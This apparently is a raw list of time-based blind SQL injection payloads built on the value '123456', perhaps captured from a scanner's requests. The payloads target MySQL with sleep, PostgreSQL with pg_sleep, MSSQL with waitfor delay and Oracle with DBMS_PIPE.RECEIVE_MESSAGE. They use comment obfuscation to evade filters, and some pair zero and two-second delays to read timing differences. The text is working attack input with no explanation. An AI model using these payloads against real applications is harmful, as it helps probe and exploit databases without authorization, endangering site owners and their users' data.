123456
123456(select*from(select+sleep(0)union/**/select+1)a)
123456/**/and+0=0
123456123456
(select*from(select+sleep(2)union/**/select+1)a)
123456123456
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
123456123456
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
123456123456
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
123456123456
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('k',0)
123456123456
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('t',2)
123456123456